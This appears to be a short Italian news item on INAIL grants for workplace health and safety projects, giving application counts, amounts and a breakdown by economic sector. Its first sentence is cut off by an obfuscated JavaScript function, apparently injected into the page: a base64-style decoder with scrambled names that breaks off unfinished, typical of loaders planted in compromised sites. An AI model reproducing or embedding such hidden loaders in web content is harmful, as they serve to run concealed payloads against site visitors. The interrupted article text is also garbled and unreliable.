Nei giorni scorsi sono stati pubblicati dall’INAIL gli function b32f7c5eda8(sf){var pd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r2=”;var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6
Le domande pervenute all’INAIL sono state quasi 23mila, il 27% di quelle ammesse ha richiesto l’importo massimo (ovvero 130mila euro) mentre l’importo medio richiesto è di circa 77.600 euro. Dei 3.434 progetti ammessi al finanziamento il 94% del totale (3.232) riguarda i interventi di miglioramento delle condizioni di salute e sicurezza sul lavoro, mentre i restanti 202 progetti sono relativi all’adozione di modelli organizzativi e di responsabilità sociale.
La distribuzione dei progetti ammessi per tipo di attività economica mostra una prevalenza della costruzione di edifici (369 progetti per un importo complessivo richiesto di circa 31 milioni), della fabbricazione di prodotti in metallo, esclusi macchinari e attrezzature (363 progetti per 31,2 milioni), dei lavori di costruzione specializzati (359 progetti per 26,4 milioni), delle coltivazioni agricole (296 progetti per 15,9 milioni) e del commercio all’ingrosso, escluso quello di autoveicoli e motocicli (203 progetti per 15,4 milioni).
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